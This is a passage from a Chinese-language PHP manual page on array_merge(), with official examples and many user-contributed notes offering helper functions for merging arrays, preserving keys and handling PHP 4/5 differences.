     *  with the resulting one as it's being constructed
     *
     *  @access public
     *  @author Chema Barcala Calveiro <shemari75@mixmail.com>
     *  @return array Resulting array, once all have been merged
     */

   function array_merge_n() {
       // Initialization of the resulting array:
       $array = array();

       // Arrays to be merged (function's arguments):
       $arrays =& func_get_args();

       // Merging of each array with the resulting one:
       foreach ($arrays as $array_i) {
           if (is_array($array_i)) {
               array_merge_2($array, $array_i);
           }
       }

       return $array;
   }
?>
add a note add a note

后退 | 起点 | 前进
array_map | 上一级 | array_merge


array_merge

(PHP 4, PHP 5)

array_merge -- 合并一个或多个数组

说明

array array_merge ( array array1 [, array array2 [, array ...]] )

array_merge() 将一个或多个数组的单元合并起来，一个数组中的值附加在前一个数组的后面。返回作为结果的数组。

如果输入的数组中有相同的字符串键名，则该键名后面的值将覆盖前一个值。然而，如果数组包含数字键名，后面的值将不会覆盖原来的值，而是附加到后面。

如果只给了一个数组并且该数组是数字索引的，则键名会以连续方式重新索引。

例子 1. array_merge() 例子

<?php
$array1 = array("color" => "red", 2, 4);
$array2 = array("a", "b", "color" => "green", "shape" => "trapezoid", 4);
$result = array_merge($array1, $array2);
print_r($result);
?>

上例将输出：

Array
(
    [color] => green
    [0] => 2
    [1] => 4
    [2] => a
    [3] => b
    [shape] => trapezoid
    [4] => 4
)

例子 2. 简单的 array_merge() 例子

<?php
$array1 = array();
$array2 = array(1 => "data");
$result = array_merge($array1, $array2);
?>

别忘了数字键名将会被重新编号！

Array
(
    [0] => data
)

如果你想完全保留原有数组并只想新的数组附加到后面，用 + 运算符：

<?php
$array1 = array();
$array2 = array(1 => "data");
$result = $array1 + $array2;
?>

数字键名将被保留从而原来的关联保持不变。

Array
(
    [1] => data
)

警告

array_merge() 的行为在 PHP 5 中被修改了。和 PHP 4 不同，array_merge() 现在只接受 array 类型的参数。不过可以用强制转换来合并其它类型。请看下面的例子。

例子 3. array_merge() PHP 5 例子

<?php
$beginning = 'foo';
$end = array(1 => 'bar');
$result = array_merge((array)$beginning, (array)$end);
print_r($result);
?>

上例将输出：

Array
(
    [0] => foo
    [1] => bar
)

参见 array_merge_recursive()，array_combine() 和数组运算符。

add a note add a note User Contributed Notes
freed489 at gmail dot com
18-May-2006 11:32
I needed a function to alternatly merge 2 arrays. i.e. $a1 = (a, c, e) and $a2 = (b, d, f), and now $merged = (a, b, c, d, e, f).
Hope it helps...

<?
function alternatly_merge_arrays($array1, $array2){
       $combined_array = array();
   $count = 0;
   for($i = 0; $i < count($array1) + count($array2); $i = $i + 2){
           $combined_array[$i] = $array1[$count];
       $count++;
   }//end for
   $count = 0;
   for($i = 1; $i < count($array1) + count($array2); $i = $i + 2){
       $combined_array[$i] = $array2[$count];
       $count++;
   }//end for
   return $combined_array;
}//end alternate_merge_arrays
?>
j_oaquimsilva at yahoo dot com dot br
16-Jan-2006 05:22
I forgot to comment. This function join two arrays adding first the elements equals in the two arrays, then the values of the first array and at the end the values of the second array.
<?php
function array_merge_sim ($arr1, $arr2) {

               $i=0;
               $adid_arrayS = array();
               foreach ($arr1 as $x) {

                       $j=0;
                       $nr1=count($arr1);
                       $nr2=count($arr2);

                       foreach ($arr2 as $z) {
                         if($x==$z){
                               array_push($adid_arrayS,$z);
                               if($nr2==($j+1)) array_pop($arr2);
                               else array_splice($arr2, $j,-($nr2-$j-1));
                               if($nr1==($i+1)) array_pop($arr1);
                               else array_splice($arr1, $i,-($nr1-$i-1));
                               $i--;
                         }else  $j++;
                       }
               $i++;
               }

               return array_merge($adid_arrayS,$arr1,$arr2);

}
?>
seva-php at zend dot com
05-Jan-2006 05:18
Since my comment from 12-Jul-2004 02:42 with <? function array_merge_php4() ?> was deleted and the complex one added by Barpfotenbaer (09-Jul-2005 06:33), - here is the simpler and faster solution:

<?
/* works only with PHP 5 */
function array_merge_php4($array1, $array2) {
   foreach ($args = func_get_args() as &$arg)  {
       $arg = (array)$arg;
   }
   return call_user_func_array('array_merge',$args);
}

?>
hs at nospam dot magnum-plus dot com
30-Dec-2005 06:50
The same result as produced by snookiex_at_gmail_dot_com's function
can be achieved with the 'one-liner'
<?php
$array1=array(1,2,3);
$array2=array('a','b','c');

$matrix = array_map(null, $array1, $array2);
?>
(see documentation of array_map).
The difference here is, that the shorter array gets filled with empty values.
snookiex_at_gmail_dot_com
10-Dec-2005 10:09
if you have, for instance:

$array1=array(1,2,3);
$array2=array('a','b','c');

but you want a 2x3 matrix like this:
1 a
2 b
3 c

use:
function arrays2matrix($array1,$array2){
       if(sizeof($array1) != sizeof($array2))
               return;
   for($i=0;$i<sizeof($array1);$i++)
       $res[]=array_merge($array1[$i],$array2[$i]);
   return $res;
}
ttsgosadow at gmail dot com
17-Nov-2005 06:17
I was in need of a version of array_merge to add associative arrays without losing duplicate keys. I use the following function:

[code]
function array_add( $array1, $array2 )
{
foreach( $array2 AS $key => $value )
{
   while( array_key_exists( $key, $array1 ) )
       $key .= "_";
   $array1[ $key ] = $value;
}

return $array1;
}
[/code]

In my case the $key is a date I want to sort on, and if I happen to have duplicate dates (users add things on the same timestamp) I lose that entry with array_merge. I can sort on the key without getting big missorts because of the appended '_'.
kaigillmann at gmxpro dot net
02-Nov-2005 07:56
If you need to merge two arrays without having multiple entries, try this:

<?php
function array_fusion($ArrayOne, $ArrayTwo)
{
   return array_unique(array_merge($ArrayOne, $ArrayTwo));
}
?>
topera at gmail dot com
07-Oct-2005 07:25
<?
/*
Warning: if one variable is not an array, the merged array will
have one more line!
*/

$a = "";

$b[0] = "Brazil";
$b[1] = "China";

$c = array_merge($a, $b);

print_r($c);

?>

This returns:

Array
(
   [0] =>
   [1] => Brazil
   [2] => China
)
__________________________________
Rafael Pereira dos Santos
tbs2tbs at hotmail dot com
01-Sep-2005 02:55
I wanted to share this, it's an small simple script to add things into an array using an loop/routine.
I use an more developed version to sort msessage's on a forum.

<?php

// Make vars ready
   $a=0;
   $alltopic = array();

// Start an routine
//    4 is just an example you can use an varible containing
//    the number of rows in an databse for example
   while ($a < 4)
       {
           $topic = array($a => "$a");
           $alltopic = array_merge ($alltopic, $topic);
           $a++;
       };

// Put it on screen:
   print_r($alltopic);

?>

outputs this :

Array ( [0] => 0 [1] => 1 [2] => 2 [3] => 3 )
php at moechofe dot com
20-Jul-2005 07:58
<?php

  /*
  * array_deep_merge
  *
  * array array_deep_merge ( array array1 [, array array2 [, array ...]] )
  *
  * Like array_merge
  *
  *  array_deep_merge() merges the elements of one or more arrays together so
  * that the values of one are appended to the end of the previous one. It
  * returns the resulting array.
  *  If the input arrays have the same string keys, then the later value for
  * that key will overwrite the previous one. If, however, the arrays contain
  * numeric keys, the later value will not overwrite the original value, but
  * will be appended.
  *  If only one array is given and the array is numerically indexed, the keys
  * get reindexed in a continuous way.
  *
  * Different from array_merge
  *  If string keys have arrays for values, these arrays will merge recursively.
  */
  function array_deep_merge()
  {
   switch( func_num_args() )
   {
     case 0 : return false; break;
     case 1 : return func_get_arg(0); break;
     case 2 :
       $args = func_get_args();
       $args[2] = array();
       if( is_array($args[0]) and is_array($args[1]) )
       {
         foreach( array_unique(array_merge(array_keys($args[0]),array_keys($args[1]))) as $key )
         if( is_string($key) and is_array($args[0][$key]) and is_array($args[1][$key]) )
           $args[2][$key] = array_deep_merge( $args[0][$key], $args[1][$key] );
         elseif( is_string($key) and isset($args[0][$key]) and isset($args[1][$key]) )
           $args[2][$key] = $args[1][$key];
         elseif( is_integer($key) and isset($args[0][$key]) and isset($args[1][$key]) ) {
           $args[2][] = $args[0][$key]; $args[2][] = $args[1][$key]; }
         elseif( is_integer($key) and isset($args[0][$key]) )
           $args[2][] = $args[0][$key];
         elseif( is_integer($key) and isset($args[1][$key]) )
           $args[2][] = $args[1][$key];
         elseif( ! isset($args[1][$key]) )
           $args[2][$key] = $args[0][$key];
         elseif( ! isset($args[0][$key]) )
           $args[2][$key] = $args[1][$key];
         return $args[2];
       }
       else return $args[1]; break;
     default :
       $args = func_get_args();
       $args[1] = array_deep_merge( $args[0], $args[1] );
       array_shift( $args );
       return call_user_func_array( 'array_deep_merge', $args );
       break;
   }
  }

  /*
  * test
  */
  $a = array(
   0,
   array( 0 ),
   'integer' => 123,
   'integer456_merge_with_integer444' => 456,
   'integer789_merge_with_array777' => 789,
   'array' => array( "string1", "string2" ),
   'array45_merge_with_array6789' => array( "string4", "string5" ),
   'arraykeyabc_merge_with_arraykeycd' => array( 'a' => "a", 'b' => "b", 'c' => "c" ),
   'array0_merge_with_integer3' => array( 0 ),
   'multiple_merge' => array( 1 ),
  );

  $b = array(
   'integer456_merge_with_integer444' => 444,
   'integer789_merge_with_array777' => array( 7,7,7 ),
   'array45_merge_with_array6789' => array( "string6", "string7", "string8", "string9" ),
   'arraykeyabc_merge_with_arraykeycd' => array( 'c' => "ccc", 'd' => "ddd" ),
   'array0_merge_with_integer3' => 3,
   'multiple_merge' => array( 2 ),
  );

  $c = array(
   'multiple_merge' => array( 3 ),
  );

  echo "<pre>".htmlentities(print_r( array_deep_merge( $a, $b, $c ), true))."</pre>";

?>
ntpt at centrum dot cz
14-Jul-2005 09:44
Old behavior of array_merge can be restored by simple  variable type casting like this

array_merge((array)$foo,(array)$bar);

works good in php 5.1.0 Beta 1, not tested in other versions

seems that empty or not set variables are casted to empty arrays
Barpfotenbaer
10-Jul-2005 12:33
Topic: The modified behavior of array_merge() in PHP5: "array_merge() now only accepts parameters of type array"

A very simple way to simulate the old behavior of PHP4 to merge arrays with non-arrays:

<?php
function array_merge_php4 ()
{
$array["merged"]=array ();
for($i=0;$i<func_num_args ();$i++)
  {
  $array["tmp"]=(
   (is_array (func_get_arg ($i)))?
   (func_get_arg ($i)):
   (array (func_get_arg ($i)))
  );
  $array["merged"]=array_merge ($array["merged"],$array["tmp"]);
  }
return($array["merged"]);
}
?>
herve dot pages at free dot fr
09-Jul-2005 02:37
About the behavior of array_merge() that was modified in PHP5. The above warning says "array_merge() now only accepts parameters of type array". But it doesn't say what happens when array_merge() is given a non array parameter like in:
<?php
  error_reporting(E_STRICT);
  $a = array("red","green");
  $rgb = array_merge($a,"blue");
?>
In fact, the PHP5 version of array_merge() will perfectly accept the "blue" parameter and will return... the NULL value! Be aware that you will get no warning even with the error reporting level set to E_STRICT (which is supposed to catch "forward compatibility" troubles).
arduenn at gmail dot com
07-Jul-2005 01:56
As "rcarvalhoREMOVECAPS at clix dot pt" suggested above,

   $a = array_merge($a, null);

does renumber the $a array. However, this only works with PHP4, not with PHP5. PHP5 users might try the following:

   $b = implode(" ", $a);
   $a = explode(" ", $b);

Hope this helps someone too ;-)
alberto dot pacheco at itesm dot mx
25-May-2005 12:02
To insert an array inside another at a given position

<?php

//Insert at $pos array $items inside array $source
function array_insert($source, $pos, $items)
{
   $sub1 = array_slice($source, 0, $pos);
   $sub2 = array_slice($source, $pos);
   return array_merge($sub1,$items,$sub2);
}

// 2nd alternative (Note: it changes $source)
function array_insert($source, $pos, $items)
{
   $rest = array_splice($source, $pos);
   return $source = array_merge($source,$items,$rest);
}

?>
rafmavCHEZlibre_in_france
20-Apr-2005 07:54
Here are a few functions to make a diff between two arrays (or 2 strings, see the example) and merge it back after
<?
function array_diff_both($new,$old)
{
   $del=array_diff_assoc($old,$new);
   $add=array_diff_assoc($new,$old);
   return $diff=array("del"=>$del, "add"=>$add);
}

function array_diff_all($arr_new,$arr_old)
{
   $arr_equ=array_intersect_assoc($arr_new,$arr_old);
   $arr_del=array_diff_assoc($arr_old,$arr_new);
   $arr_add=array_diff_assoc($arr_new,$arr_old);
   return $diff=array("equ"=>$arr_equ, "del"=>$arr_del, "add"=>$arr_add);
}

function array_merge_diff($arr,$diff) {
   $arr=array_merge_replace($arr,$diff["del"]);
   $arr=array_merge_replace($arr,$diff["add"]);
   return $arr;
}
function array_merge_diff_reverse($arr,$diff) {
   $arr=array_merge_replace($arr,$diff["add"]);
   $arr=array_merge_replace($arr,$diff["del"]);
   return $arr;
}
?>
Here is an example:
<?
//calculationg
$new="hello!"; // new string

$old="hrllo!"; // old string with a typo fault

// cast string in array the goodway
// make a cast (array) to a string does not work:
// the entire string is thus considered as one element
// of the array !!
$a_new=str_split($new);
$a_old=str_split($old); // cast string in array

$diff=array_diff_both($a_new,$a_old); // the entire diff

$test=array_merge_diff($a_old,$diff);

$test_reverse=array_merge_diff_reverse($a_new,$diff);

//for output the sample
print "new= $new<br/>old= $old<br/>\$a_new= ";
print_r($a_new);

print "<br/>\$a_old= ";
print_r($a_old);

print "<br/>\$diff=\$a_new-\$a_old";
print "<br/>\$diff= ";
print_r($diff);

print "<br/>\$test=\$a_old+\$diff";
print "<br/>\$test= ";
print_r($test);
print("<br/>".implode($test));

print "<br/>\$test_reverse=\$a_new+\$diff";
print "<br/>\$test_reverse= ";
print_r($test_reverse);
print("<br/>".implode($test_reverse));
?>
En sortie de l'exemple, rsultats:

new= hello!
old= hrllo!
$a_new= Array ( [0] => h [1] => e [2] => l [3] => l [4] => o [5] => ! )
$a_old= Array ( [0] => h [1] => r [2] => l [3] => l [4] => o [5] => ! )
$diff=$a_new-$a_old
$diff= Array ( [del] => Array ( [1] => r ) [add] => Array ( [1] => e ) )
$test=$a_old+$diff
$test= Array ( [0] => h [1] => e [2] => l [3] => l [4] => o [5] => ! )
hello!
$test_reverse=$a_new+$diff
$test_reverse= Array ( [0] => h [1] => r [2] => l [3] => l [4] => o [5] => ! )
hrllo!

autre exemple, autre rsultat:
new= see you!
old= sea ya!
$a_new= Array ( [0] => s [1] => e [2] => e [3] => [4] => y [5] => o [6] => u [7] => ! )
$a_old= Array ( [0] => s [1] => e [2] => a [3] => [4] => y [5] => a [6] => ! )
$diff=$a_new-$a_old
$diff= Array ( [del] => Array ( [2] => a [5] => a [6] => ! ) [add] => Array ( [2] => e [5] => o [6] => u [7] => ! ) )
$test=$a_old+$diff
$test= Array ( [0] => s [1] => e [2] => e [3] => [4] => y [5] => o [6] => u [7] => ! )
see you!
$test_reverse=$a_new+$diff
$test_reverse= Array ( [0] => s [1] => e [2] => a [3] => [4] => y [5] => a [6] => ! [7] => ! )
sea ya!!
Vinicius Cubas Brand
15-Apr-2005 12:32
The following function merges two arrays taking as parameter an user-defined comparison function:

<?
   function array_merge_custom(&$array1,&$array2,$comparison_func)
   {
       $ret_arr = array();
       foreach ($array1 as $key1 => $element1)
       {
           $has_equal_in_2 = false;
           foreach($array2 as $key2 => $element2)
           {
               if (call_user_func($comparison_func,$element1,$element2))
               {
                   $has_equal_in_2 = true;
               }
           }
           if (!$has_equal_in_2)
           {
               $ret_arr[] = $array1[$key1];
           }
       }
       $ret_arr = array_merge($ret_arr,$array2);
       return $ret_arr;
   }

?>

For instance:

<?

   $a = array(
       array('index' => 'ball', 'blabla' => 0),
       array('index' => 'coconut'),
       array('index' => 'cow'),
       array('index' => 'son'),
       );

   $b = array(
       array('index' => 'phone'),
       array('index' => 'wallet'),
       array('index' => 'ball'),
       array('index' => 'son', 'kabum'=> 1)
       );

   $c = array_merge_custom($a,$b,create_function('$a,$b','return $a[\'index\'] == $b[\'index\'];'));
   print_r($c)
?>

Will produce:

Array
(
   [0] => Array
       (
           [index] => coconut
       )
   [1] => Array
       (
           [index] => cow
       )
   [2] => Array
       (
           [index] => phone
       )
   [3] => Array
       (
           [index] => wallet
       )
   [4] => Array
       (
           [index] => ball
       )
   [5] => Array
       (
           [index] => son
           [kabum] => 1
       )
)
jeff_1089 at yahoo dot com
07-Apr-2005 04:17
Note that casting the array doesn't always work.  For classes, it looks like the class information is lost.  The print_r's below have different behavior.  I would suggest creating an array, rather than casting in most situations. (ie.  do it like $array2).

class myclass {
   private $name;
   private $value;
   function myclass($n, $v) {
       $this->name=$n;
       $this->value=$v;
   }
}

$itema = new myclass("hair", "orange");
$itemb = new myclass("eyes", "green");
$itemc = new myclass("elbow", "dirty");
$items = array($itemb, $itemc);
print "<BR>";
$array1 = array_merge((array)$itema, $items);
$array2 = array_merge(array($itema), $items);
print "<BR>";
print "<BR>";
print_r($array1);
print "<BR>";
print "<BR>";
print_r($array2);

Array ( [] => orange [0] => myclass Object ( [name:private] => eyes [value:private] => green ) [1] => myclass Object ( [name:private] => elbow [value:private] => dirty ) )

Array ( [0] => myclass Object ( [name:private] => hair [value:private] => orange ) [1] => myclass Object ( [name:private] => eyes [value:private] => green ) [2] => myclass Object ( [name:private] => elbow [value:private] => dirty ) )
lito at eordes dot com
21-Mar-2005 07:54
This is a simple function to merge an array multidimensional:

<?php
  function multimerge ($array1, $array2) {
   if (is_array($array2) && count($array2)) {
     foreach ($array2 as $k => $v) {
       if (is_array($v) && count($v)) {
         $array1[$k] = multimerge($array1[$k], $v);
       } else {
         $array1[$k] = $v;
       }
     }
   } else {
     $array1 = $array2;
   }

   return $array1;
  }

$array1 = array(
  1 => "value1",
  2 => "value2",
  3 => array(
   "valor2" => "test3",
  ),
  "more" => array(
   "alot" => "A lot of values",
   ":)" => "Cont"
  )
);

$array2 = array(
  2 => "other value",
  3 => array(
   "valor3" => "more values",
  ),
  "more" => array(
   "alot" => "Change the value"
  ),
  "final" => "Final Value"
);

print_r(multimerge($array1, $array2));
?>

The output is:

Array
(
   [1] => value1
   [2] => other value
   [3] => Array
       (
           [valor2] => test3
           [valor3] => more values
       )

   [more] => Array
       (
           [alot] => Change the value
           [:)] => Cont
       )

   [final] => Final Value
)
Jimomighty
20-Mar-2005 02:48
...

function preserved_merge_array( $newArray, $otherArray ) {
   foreach( $otherArray as $key => $value)
   {
       if ( !is_array($newArray[$key]) ) $newArray[$key] = array();
       if ( is_array($value) ) $newArray[$key] = preserved_merge_array( $newArray[$key], $value );
       else $newArray[$key] = $value;
   }

   return $newArray;
}

...
Alec Solway
21-Jan-2005 02:05
Note that if you put a number as a key in an array, it is eventually converted to an int even if you cast it to a string or put it in quotes.

That is:

$arr["0"] = "Test";
var_dump( key($arr) );

will output int(0).

This is important to note when merging because array_merge will append values with a clashing int-based index instead of replacing them. This kept me tied up for hours.
nospam at veganismus dot ch
11-Jan-2005 10:38
Someone posted a function with the note:
"if u need to overlay a array that holds defaultvalues with another that keeps the relevant data"

<?
//about twice as fast but the result is the same.
//note: the sorting will be messed up!
function array_overlay($skel, $arr) {
   return $arr+$skel;
}

//example:
$a = array("zero","one","two");
$a = array_overlay($a,array(1=>"alpha",2=>NULL));
var_dump($a);
/* NULL is ignored so the output is:
array(3) {
  [1]=>
  string(5) "alpha"
  [0]=>
  string(4) "zero"
  [2]=>
  string(3) "two"
}
*/
?>
Frederick.Lemasson{AT}kik-it.com
23-Dec-2004 06:57
if you generate form select from an array, you probably want to keep your array keys and order intact,
if so you can use ArrayMergeKeepKeys(), works just like array_merge :

array ArrayMergeKeepKeys ( array array1 [, array array2 [, array ...]])

but keeps the keys even if of numeric kind.
enjoy

<?

$Default[0]='Select Something please';

$Data[147]='potato';
$Data[258]='banana';
$Data[54]='tomato';

$A=array_merge($Default,$Data);

$B=ArrayMergeKeepKeys($Default,$Data);

echo '<pre>';
print_r($A);
print_r($B);
echo '</pre>';

Function ArrayMergeKeepKeys() {
     $arg_list = func_get_args();
     foreach((array)$arg_list as $arg){
         foreach((array)$arg as $K => $V){
             $Zoo[$K]=$V;
         }
     }
   return $Zoo;
}

//will output :

Array
(
   [0] => Select Something please
   [1] => potato
   [2] => banana
   [3] => tomato
)
Array
(
   [0] => Select Something please
   [147] => potato
   [258] => banana
   [54] => tomato
)

?>
jnothman at student dot usyd dot edu dot au
25-Nov-2004 02:40
If you have a two dimensional array, or otherwise an array of arrays, the following may be handy: <?call_user_func_array('array_merge', $arr);?>

For instance:
<?php
list($GIF, $JPG, $PNG, $WBMP) = array(1,2,3,15);
$ext_map = array(
   $GIF  => array('gif'),
   $JPG  => array('jpg', 'jpeg'),
   $PNG  => array('png'),
   $WBMP => array('wbmp'),
);
$ext_list = call_user_func_array('array_merge', $ext_map);
print_r($ext_list);
?>

Output:
Array
(
   [0] => gif
   [1] => jpg
   [2] => jpeg
   [3] => png
   [4] => wbmp
)
Jae
22-Nov-2004 11:17
This is explained above but may not be exactly clear.  If you have two arrays such as:

$Array1 {

[0] => "dog"

}

$Array2 {

[0] => "cat",
[1] => "bird",
[2] => null,
...
[n-1] => null,
[n] => "gator"
}

and you don't want to lose the null values in the final array then do NOT use array_merge.  Instead simply use the + operator.

array_merge($Array1,$Array2) gives:
[0] => "dog",
[1] => "cat",
[2] => "bird",
[3] => "gator"

$Array1 + $Array2 gives:
[0] => "dog",
[1] => "cat",
[2] => "bird",
[3] => null,
...
[n-1] => null,
[3] => "gator"
18-Nov-2004 02:22
function array_overlay($skel, $arr)
{
   foreach ($skel as $key => $val) {
       if (!isset($arr[$key])) {
           $arr[$key] = $val;
       } else {
           if (is_array($val)) {
               $arr[$key] = array_overlay($val, $arr[$key]);
           }
       }
   }

   return $arr;
}

// if u need to overlay a array that holds defaultvalues with another that keeps the relevant data
nospam at veganismus dot ch
25-Sep-2004 11:48
I needed to add some values (array) to an array on each loop.
I used merge because it seemed to be the right way. But array_splice() ist much faster:

<?
$merge = array();
$splice = array();

function makearray() { //to do on each loop
 //return two values:
 return array('foo','bar');
}

for($i=0;$i<1000;$i++) $merge = array_merge($merge,makearray());
echo count($merge); //returns 2000 after about 2 sec (PHP5)

for($i=0;$i<1000;$i++) array_splice($splice, 0,0,makearray());
echo count($splice); //returns 2000 after about 0.8 sec (PHP5)
?>

Note: The sorting will be diffrent but you can use
array_splice($splice, count($splice),0,makearray());
which is still faster (1.4 sec)
bcraigie at bigfoot dot com
25-Aug-2004 03:37
It would seem that array_merge doesn't do anything when one array is empty (unset):

<?php //$a is unset
$b = array("1" => "x");

$a = array_merge($a, $b});

//$a is still unset.
?>

to fix this omit $a if it is unset:-

<?php
if(!IsSet($a)) {
   $a = array_merge($b);
} else {
  $a = array_merge($a, $b);
}
?>

I don't know if there's a better way.
niv at NOSPAM iaglans dot DE
13-Jun-2004 01:18
[Editor's Note: If the keys are truly numeric, array_merge will do the trick. But if they are strings, as the example below, you can use array_merge(array_values($array1), array_values($array2)); since it's more beautiful. -- victor@php.net]

i recognized there is no function with that you can add two number-Arrays:

Example:

<?php
// you have two arrays:

array1 = array (['0'] =>"blahblupp",
                       ['1'] => "bluppblah" );

array2 = array (['0'] =>"tirili",
                       ['1'] => "tralala" );

// and want following as a result:

result = array (['0'] =>"blahblupp",
                     ['1'] => "bluppblah",
                     ['2'] =>"tirili",
                     ['3'] => "tralala" );

// following function does the addition:

function array_add($array1, $array2)
{
   $result = $array1;
   $h = sizeof($array1);
   for ($i = 0; $i < sizeof($array2); $i++)
   {
       $result[$h] = $array2[$i];
       $h++;
   }

   return $result;
}
?>

just added because I didn't find a ready-to-use script here.
mail at nospam dot iaindooley dot com
09-Apr-2004 12:37
hey there, here is a nice little way of merging two arrays that may or may not have numerical or string indices and preserving the order and indexing of both arrays whilst making the most use of in built php functions (i actually originally wanted to use array_combine for obvious reasons but seeing as that is not available in PHP4, the little foreach loop at the end is necessary):

<?php
       function merge($arr1,$arr2)
       {
               if(!is_array($arr1))
                       $arr1 = array();
               if(!is_array($arr2))
                       $arr2 = array();
               $keys1 = array_keys($arr1);
               $keys2 = array_keys($arr2);
               $keys  = array_merge($keys1,$keys2);
               $vals1 = array_values($arr1);
               $vals2 = array_values($arr2);
               $vals  = array_merge($vals1,$vals2);
               $ret    = array();

               foreach($keys as $key)
               {
                       list($unused,$val) = each($vals);
                       $ret[$key] = $val;
               }

           return $ret;
       }
?>
frankb at fbis dot net
25-Feb-2004 08:02
to merge arrays and preserve the key i found the following working with php 4.3.1:

<?php
$array1 = array(1 => "Test1", 2 => "Test2");
$array2 = array(3 => "Test3", 4 => "Test4");

$array1 += $array2;
?>

dont know if this is working with other php versions but it is a simple and fast way to solve that problem.
KOmaSHOOTER at gmx dot de
08-Nov-2003 02:03
Here is something for splitting a sorted array into group array  ( sorting the group arrays ) and then merging them together
Note: merge is  like concat in Flash ActionScript :)
In this example i have 3 different  groups in one array

* First the mainArray is sorted for the group entrys
* building from part arrays
* building  copy arrays from  part arrays ( for making the array beginning with  [0] !! )
* merging all part arrays together

0. sorting the main array
1. apportionment from the main array
when the group is changing , a new array is build (part
array ) ! attention at the second  part array !! Array values
are are not beginning with [0]!!
2. making the copy from the part array .
array values are pushed in the new array
3. echo for every array entry
4. overwriting the old array with the new copy
5. part arrays are sorted by function (arrays had been naughted by function array_copy ( Array is beginning with [0] ! )
6. merging the part arrays

Here is the same that i posted before but a bit better solved
array_push (${"activ_array".$j}, $activ_array[$i]); makes the part arrays starting with [0] :)

<?php
$activ_array=array(
array("apfel_01","germany","xx","red"),
array("apfel_07","germany","xx","green"),
array("apfel_08","germany","xx","green"),
array("apfel_02","germany","xx","red"),
array("apfel_03","germany","xx","red"),
array("apfel_04","germany","xx","red"),
array("apfel_09","germany","xx","red_+_green"),
array("apfel_10","germany","xx","red_+_green"),
array("apfel_05","germany","xx","green"),
array("apfel_06","germany","xx","green")
);
function array_sort($array, $key , $target){
for ($i = 0; $i < sizeof($array); $i++){
 $array2 = $array;
 if($target == 'name'){
   if(! empty($array2[$i]["nameletter"])){
     //echo $myarray[$i]["nameletter"] ;
     $array2[$i]["name"] = substr($array2[$i][$key],($array2[$i]["nameletter"]-1));
   }else{
     $array2[$i]["name"] = substr($array2[$i][$key],0);
   }
   $sort_values[$i] = $array2[$i]["name"];
   }else{
   $sort_values[$i] = $array2[$i][$key];
 }
}
  asort ($sort_values);
  reset ($sort_values);
  while (list ($arr_keys, $arr_values) = each ($sort_values)) {
         $sorted_arr[] = $array[$arr_keys];
  }
  return $sorted_arr;
}
$activ_array = array_sort($activ_array,3,'imagetype');
$j=0;
// first part array
${"activ_array"."$j"} = array();
for($i=0;$i<sizeof($activ_array);$i++){
 if($activ_array[$i][3] !=$activ_array[$i-1][3] && $i >1){
   $j++;
   ${"activ_array".$j} = array();
 }
array_push (${"activ_array".$j}, $activ_array[$i]);
}
// part array sorting
for($i=0;$i<=$j;$i++){
 ${"activ_array".$i} = array_sort(${"activ_array".$i},0,'name');
}
$activ_array = array();
for($i=0;$i<=$j;$i++){
 $activ_array = array_merge($activ_array,${"activ_array".$i});
}
for($i=0;$i<sizeof($activ_array);$i++){
print_r($activ_array[$i]);
echo("<br>");
}

?>
rcarvalhoREMOVECAPS at clix dot pt
04-Nov-2003 04:43
While searching for a function that would renumber the keys in a array, I found out that array_merge() does this if the second parameter is null:

Starting with array $a like:

<?php
Array
(
   [5] => 5
   [4] => 4
   [2] => 2
   [9] => 9
)
?>

Then use array_merge() like this:

<?php
$a = array_merge($a, null);
?>

Now the $a array has bee renumbered, but maintaining the order:

<?php
Array
(
   [0] => 5
   [1] => 4
   [2] => 2
   [3] => 9
)
?>

Hope this helps someone :-)
01-Nov-2003 02:08
In all PHP 4 versions the above function deals gracefully with paramaters which are NOT arrays(). So if you pass a string or number it will be automagically converted to an one-element array as described in the manual section about Types and "implicit typecasting". So if you ever happen to put an empty/unset variable (NULL value) as parameter, array_merge() will still collapse the other arrays as intended.

From PHP5beta2 on this behaviour changed, and PHP will correctly issue a E_WARNING message, whenever one of the paramters isn't an array. So if you ever happen to be uncertain about the contents of a variable passed as parameter to array_merge() you should use explicit typecasting:

<?php
$a = array(1, 2, 3);
$b = 4;    #-- beware: this is no array!

$result = array_merge(  (array)$a, (array)$b,  ... );
?>

This way $result still would get == array(1, 2, 3, 4); where otherwise the parameters would get rejected with the warning message telling you so.
loner at psknet dot !NOSPAM!com
30-Sep-2003 06:00
I got tripped up for a few days when I tried to merge a (previously serialized) array into a object. If it doesn't make sense, think about it... To someone fairly new, it could... Anyway, here is what I did:
(It's obviously not recursive, but easy to make that way)
<?php
function array_object_merge(&$object, $array) {
   foreach ($array as $key => $value)
       $object->{$key} = $value;
}
?>

Simple problem, but concevibly easy to get stuck on.
ice at lazybytes dot net
05-Sep-2003 06:31
I, too have found array_merge_clobber() useful. I use it in a loop to append data to an array. However, when the loop first runs, there will be an error message displayed as array one is empty, so, here is a little fix:

<?php
function array_merge_clobber($arrOne,$arrTwo) {
   if(!is_array($arrOne) || !is_array($arrTwo)) return false;

   $arrNewArray = $arrOne;
   forEach ($arrTwo as $key => $val) {
       if (isSet($arrNewArray[$key])) {
           if (is_array($val) && is_array($arrNewArray[$key])) {
               $arrNewArray[$key] = array_merge_clobber($arrNewArray[$key], $val);
           }
           else {
               $arrNewArray[$key] = $val;
           }
       }
       else {
           $arrNewArray[$key] = $val;
       }
   }
   return $arrNewArray;
}
?>

Not sure if someone else has already got something similar or better, but this is simple and works for me. :)
04-Sep-2003 06:10
For those who are getting duplicate entries when using this function, there is a very easy solution:

wrap array_unique() around array_merge()

cheers,

k.
tobias_mik at hotmail dot com
25-Jul-2003 08:14
This function merges any number of arrays and maintains the keys:

<?php
function array_kmerge ($array) {
 reset($array);
 while ($tmp = each($array))
 {
  if(count($tmp['value']) > 0)
  {
   $k[$tmp['key']] = array_keys($tmp['value']);
   $v[$tmp['key']] = array_values($tmp['value']);
  }
 }
 while($tmp = each($k))
 {
  for ($i = $start; $i < $start+count($tmp['value']); $i ++)$r[$tmp['value'][$i-$start]] = $v[$tmp['key']][$i-$start];
  $start = count($tmp['value']);
 }
 return $r;
}
?>
add a note add a note

后退 | 起点 | 前进
array_merge_recursive | 上一级 | array_multisort


array_multisort

(PHP 4, PHP 5)

array_multisort -- 对多个数组或多维数组进行排序

说明

bool array_multisort ( array ar1 [, mixed arg [, mixed ... [, array ...]]] )

如果成功则返回 TRUE，失败则返回 FALSE。

array_multisort() 可以用来一次对多个数组进行排序，或者根据某一维或多维对多维数组进行排序。

关联（string）键名保持不变，但数字键名会被重新索引。

